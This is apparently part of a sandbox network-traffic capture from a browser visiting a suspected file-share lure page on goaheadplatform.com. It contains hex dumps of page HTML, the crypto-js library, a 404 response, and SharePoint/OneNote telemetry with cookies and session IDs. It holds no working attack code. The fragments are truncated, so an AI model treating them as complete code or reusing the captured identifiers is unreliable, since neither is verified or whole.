2024-07-16 11:07:33 UTC	809	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 20 3c 68 65 61 64 3e 0d 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0d 0a 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 63 72 79 70 74 6f 2d 6a 73 2f 34 2e 30 2e 30 2f 63 72 79 70 74 6f 2d 6a 73 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 Data Ascii: <html> <head> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="robots" content="noindex, nofollow"> <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js"></script> <style>body
2024-07-16 11:07:33 UTC	4899	IN	Data Raw: 20 37 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 37 61 30 65 30 3b 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 2d 31 35 33 70 78 2c 20 2d 37 30 70 78 29 20 72 6f 74 61 74 65 28 32 38 64 65 67 29 3b 7d 23 73 61 62 6c 65 3e 2e 72 61 63 69 61 6c 6c 79 20 7b 77 69 64 74 68 3a 20 32 38 37 70 78 3b 68 65 69 67 68 74 3a 20 37 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 31 33 38 38 64 36 3b 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 2d 31 32 30 70 78 2c 20 36 33 70 78 29 20 72 6f 74 61 74 65 28 2d 32 38 64 65 67 29 3b 7d 23 7a 69 6c 63 68 20 7b 77 69 64 74 68 3a 20 31 33 30 70 78 3b 68 65 69 67 68 74 3a 20 34 30 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 31 31 33 38 36 34 3b 6d 61 72 67 69 6e 2d 74 6f Data Ascii: 71px;background: #27a0e0;transform: translate(-153px, -70px) rotate(28deg);}#sable>.racially {width: 287px;height: 71px;background: #1388d6;transform: translate(-120px, 63px) rotate(-28deg);}#zilch {width: 130px;height: 40px;background: #113864;margin-to

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	50058	104.17.24.14	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:34 UTC	565	OUT	GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://goaheadplatform.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:07:34 UTC	965	IN	HTTP/1.1 200 OK Date: Tue, 16 Jul 2024 11:07:34 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03e2d-bb78" Last-Modified: Mon, 04 May 2020 16:09:17 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 1240359 Expires: Sun, 06 Jul 2025 11:07:34 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qqWd1wR3KKkhxFYjYvVW0Qr2s1PooqPOmFzx%2BVB%2BdLF2pZP8yTgbXTdSqw6974c8DLmfNgT%2FfKznSXMOR%2BYisIg3cBvucNvIonad%2BgZY7HUYuyJmre93kHYExsajFzPJ6LK%2Bge1H"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8a418782bb758c2d-EWR alt-svc: h3=":443"; ma=86400
2024-07-16 11:07:34 UTC	404	IN	Data Raw: 37 62 65 34 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 68 2c 74 2c 65 2c 72 2c 69 2c 6e 2c 66 2c 6f 2c 73 2c 63 2c 61 2c 6c 2c 64 2c 6d 2c 78 2c 62 2c 48 2c 7a 2c 41 2c 75 2c 70 2c 5f 2c 76 2c 79 2c 67 2c 42 2c 77 2c 6b 2c 53 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 2c 4b 2c 58 2c 4c 2c 6a 2c 4e 2c 54 2c 71 2c 5a Data Ascii: 7be4!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z
2024-07-16 11:07:34 UTC	1369	IN	Data Raw: 74 6f 26 26 28 74 3d 77 69 6e 64 6f 77 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 26 26 28 74 3d 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 26 26 28 74 3d 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 74 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 69 66 28 74 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d Data Ascii: to&&(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==
2024-07-16 11:07:34 UTC	1369	IN	Data Raw: 76 61 72 20 6f 3d 30 3b 6f 3c 6e 3b 6f 2b 2b 29 7b 76 61 72 20 73 3d 72 5b 6f 3e 3e 3e 32 5d 3e 3e 3e 32 34 2d 6f 25 34 2a 38 26 32 35 35 3b 65 5b 69 2b 6f 3e 3e 3e 32 5d 7c 3d 73 3c 3c 32 34 2d 28 69 2b 6f 29 25 34 2a 38 7d 65 6c 73 65 20 66 6f 72 28 6f 3d 30 3b 6f 3c 6e 3b 6f 2b 3d 34 29 65 5b 69 2b 6f 3e 3e 3e 32 5d 3d 72 5b 6f 3e 3e 3e 32 5d 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 73 69 67 42 79 74 65 73 2b 3d 6e 2c 74 68 69 73 7d 2c 63 6c 61 6d 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 77 6f 72 64 73 2c 65 3d 74 68 69 73 2e 73 69 67 42 79 74 65 73 3b 74 5b 65 3e 3e 3e 32 5d 26 3d 34 32 39 34 39 36 37 32 39 35 3c 3c 33 32 2d 65 25 34 2a 38 2c 74 2e 6c 65 6e 67 74 68 3d 6c 2e 63 65 69 6c 28 65 2f 34 29 7d 2c 63 6c 6f 6e 65 Data Ascii: var o=0;o<n;o++){var s=r[o>>>2]>>>24-o%48&255;e[i+o>>>2]\|=s<<24-(i+o)%48}else for(o=0;o<n;o+=4)e[i+o>>>2]=r[o>>>2];return this.sigBytes+=n,this},clamp:function(){var t=this.words,e=this.sigBytes;t[e>>>2]&=4294967295<<32-e%4*8,t.length=l.ceil(e/4)},clone
2024-07-16 11:07:34 UTC	1369	IN	Data Raw: 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 6c 2e 63 65 69 6c 28 73 29 3a 6c 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 61 3d 6c 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 63 3b 68 2b 3d 6f 29 74 68 69 73 2e 5f 64 Data Ascii: parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?l.ceil(s):l.max((0\|s)-this._minBufferSize,0))o,a=l.min(4*c,n);if(c){for(var h=0;h<c;h+=o)this._d
2024-07-16 11:07:34 UTC	1369	IN	Data Raw: 30 2c 32 35 35 3d 3d 3d 69 3f 69 3d 30 3a 2b 2b 69 29 3a 2b 2b 72 29 3a 2b 2b 65 2c 74 3d 30 2c 74 2b 3d 65 3c 3c 31 36 2c 74 2b 3d 72 3c 3c 38 2c 74 2b 3d 69 7d 65 6c 73 65 20 74 2b 3d 31 3c 3c 32 34 3b 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 66 74 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 66 74 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 66 74 5b 31 Data Ascii: 0,255===i?i=0:++i):++r):++e,t=0,t+=e<<16,t+=r<<8,t+=i}else t+=1<<24;return t}function Rt(){for(var t=this._X,e=this._C,r=0;r<8;r++)ft[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<ft[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<ft[1
2024-07-16 11:07:34 UTC	1369	IN	Data Raw: 33 30 39 32 2b 28 65 5b 34 5d 3e 3e 3e 30 3c 77 74 5b 34 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 36 5d 3d 65 5b 36 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 35 5d 3e 3e 3e 30 3c 77 74 5b 35 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 37 5d 3d 65 5b 37 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 36 5d 3e 3e 3e 30 3c 77 74 5b 36 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 74 68 69 73 2e 5f 62 3d 65 5b 37 5d 3e 3e 3e 30 3c 77 74 5b 37 5d 3e 3e 3e 30 3f 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 2c 73 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 2c 63 3d 28 28 34 32 39 34 39 30 31 37 36 30 26 69 Data Ascii: 3092+(e[4]>>>0<wt[4]>>>0?1:0)\|0,e[6]=e[6]+1295307597+(e[5]>>>0<wt[5]>>>0?1:0)\|0,e[7]=e[7]+3545052371+(e[6]>>>0<wt[6]>>>0?1:0)\|0,this._b=e[7]>>>0<wt[7]>>>0?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((nn>>>17)+no>>>15)+o*o,c=((4294901760&i
2024-07-16 11:07:34 UTC	1369	IN	Data Raw: 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 61 3d 73 7c 63 3b 69 5b 6e 3e 3e 3e 32 5d 7c 3d 61 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 7d 72 65 74 75 72 6e 20 68 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2f 3d 22 7d 2c 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6e 3d 74 2e 61 6c 67 6f 2c 48 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 30 3b 74 3c 36 34 3b 74 2b 2b 29 48 5b 74 5d 3d 34 Data Ascii: ]>>>6-o%42,a=s\|c;i[n>>>2]\|=a<<24-n%48,n++}return h.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},function(l){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,n=t.algo,H=[];!function(){for(var t=0;t<64;t++)H[t]=4
2024-07-16 11:07:34 UTC	1369	IN	Data Raw: 5d 29 2c 53 3d 41 28 53 2c 6d 2c 78 2c 62 2c 42 2c 35 2c 48 5b 32 38 5d 29 2c 62 3d 41 28 62 2c 53 2c 6d 2c 78 2c 61 2c 39 2c 48 5b 32 39 5d 29 2c 78 3d 41 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 34 2c 48 5b 33 30 5d 29 2c 53 3d 43 28 53 2c 6d 3d 41 28 6d 2c 78 2c 62 2c 53 2c 67 2c 32 30 2c 48 5b 33 31 5d 29 2c 78 2c 62 2c 66 2c 34 2c 48 5b 33 32 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 70 2c 31 31 2c 48 5b 33 33 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 79 2c 31 36 2c 48 5b 33 34 5d 29 2c 6d 3d 43 28 6d 2c 78 2c 62 2c 53 2c 77 2c 32 33 2c 48 5b 33 35 5d 29 2c 53 3d 43 28 53 2c 6d 2c 78 2c 62 2c 63 2c 34 2c 48 5b 33 36 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 6c 2c 31 31 2c 48 5b 33 37 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 36 2c 48 Data Ascii: ]),S=A(S,m,x,b,B,5,H[28]),b=A(b,S,m,x,a,9,H[29]),x=A(x,b,S,m,u,14,H[30]),S=C(S,m=A(m,x,b,S,g,20,H[31]),x,b,f,4,H[32]),b=C(b,S,m,x,p,11,H[33]),x=C(x,b,S,m,y,16,H[34]),m=C(m,x,b,S,w,23,H[35]),S=C(S,m,x,b,c,4,H[36]),b=C(b,S,m,x,l,11,H[37]),x=C(x,b,S,m,u,16,H
2024-07-16 11:07:34 UTC	1369	IN	Data Raw: 3d 69 2e 63 6c 6f 6e 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 5f 68 61 73 68 3d 74 68 69 73 2e 5f 68 61 73 68 2e 63 6c 6f 6e 65 28 29 2c 74 7d 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 7a 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 72 7c 7e 65 26 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 41 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 69 7c 72 26 7e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 43 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 5e 72 5e 69 29 2b 6e 2b 73 3b 72 65 74 75 Data Ascii: =i.clone.call(this);return t._hash=this._hash.clone(),t}});function z(t,e,r,i,n,o,s){var c=t+(e&r\|~e&i)+n+s;return(c<<o\|c>>>32-o)+e}function A(t,e,r,i,n,o,s){var c=t+(e&i\|r&~i)+n+s;return(c<<o\|c>>>32-o)+e}function C(t,e,r,i,n,o,s){var c=t+(e^r^i)+n+s;retu
2024-07-16 11:07:34 UTC	1369	IN	Data Raw: 72 28 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6f 3d 74 2e 61 6c 67 6f 2c 73 3d 5b 5d 2c 42 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 6e 2e 73 71 72 74 28 74 29 2c 72 3d 32 3b 72 3c 3d 65 3b 72 2b 2b 29 69 66 28 21 28 74 25 72 29 29 72 65 74 75 72 6e 3b 72 65 74 75 72 6e 20 31 7d 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 72 65 74 75 72 6e 20 34 32 39 34 39 36 37 32 39 36 2a 28 74 2d 28 30 7c 74 29 29 7c 30 7d 66 6f 72 28 76 61 72 20 72 3d 32 2c 69 3d 30 3b 69 3c 36 34 3b 29 74 28 72 29 26 26 28 69 3c 38 26 26 28 73 5b 69 5d 3d 65 28 6e 2e 70 6f 77 28 Data Ascii: r(o),function(n){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,o=t.algo,s=[],B=[];!function(){function t(t){for(var e=n.sqrt(t),r=2;r<=e;r++)if(!(t%r))return;return 1}function e(t){return 4294967296*(t-(0\|t))\|0}for(var r=2,i=0;i<64;)t(r)&&(i<8&&(s[i]=e(n.pow(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	50053	209.124.66.28	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:34 UTC	609	OUT	GET /favicon.ico HTTP/1.1 Host: goaheadplatform.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://goaheadplatform.com/filesshare.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:07:34 UTC	541	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Tue, 16 Jul 2024 11:07:34 GMT server: LiteSpeed strict-transport-security: max-age=63072000; includeSubDomains x-frame-options: SAMEORIGIN x-content-type-options: nosniff alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-07-16 11:07:34 UTC	796	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</sty

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	50063	52.108.8.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:34 UTC	1072	OUT	POST /o/RemoteUls.ashx?usid=5ed32588-7623-377d-905c-f0003950d05f&officeserverversion= HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 190 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://amdat-my.sharepoint.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://amdat-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; GEU3-ARRAffinity=427151a1bb5194f6ee28fc34ee6b87dc860f0de780812c674ff314cecd665996; MicrosoftApplicationsTelemetryDeviceId=5644e5ab-1e44-41ff-b2e3-b52b1cefcfb7
2024-07-16 11:07:34 UTC	190	OUT	Data Raw: 7b 22 54 22 3a 31 37 32 31 31 32 38 30 35 31 34 35 32 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 39 35 39 35 37 38 34 33 2c 22 54 22 3a 32 31 35 30 2c 22 4d 22 3a 22 50 61 67 65 20 6c 69 66 65 63 79 63 6c 65 3a 20 56 69 73 69 62 69 6c 69 74 79 43 68 61 6e 67 65 5f 76 69 73 69 62 6c 65 20 66 69 72 65 64 2c 20 66 6c 75 73 68 69 6e 67 20 6c 6f 67 67 65 72 22 2c 22 43 22 3a 33 37 39 2c 22 44 22 3a 35 30 7d 5d 2c 22 53 22 3a 22 35 65 64 33 32 35 38 38 2d 37 36 32 33 2d 33 37 37 64 2d 39 30 35 63 2d 66 30 30 30 33 39 35 30 64 30 35 66 22 2c 22 49 22 3a 35 2c 22 56 22 3a 31 7d Data Ascii: {"T":1721128051452,"L":[{"G":595957843,"T":2150,"M":"Page lifecycle: VisibilityChange_visible fired, flushing logger","C":379,"D":50}],"S":"5ed32588-7623-377d-905c-f0003950d05f","I":5,"V":1}
2024-07-16 11:07:34 UTC	4581	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: ac02491e-310c-4270-b6c9-1a765321c74f X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DB5PEPF00011823 X-OfficeVersion: 16.0.17817.41007 X-OfficeCluster: GEU7 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://amdat-my.sharepoint.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: 0D2FB038748FD7F15682069D0E94E4BE713F6F45 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230939,30697 [TRUNCATED] nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-EWR31r5d&DC=&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DB5PEPF00011823 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 00C6B93A7424403786DB37DA02F35456 Ref B: EWR311000107009 Ref C: 2024-07-16T11:07:34Z Date: Tue, 16 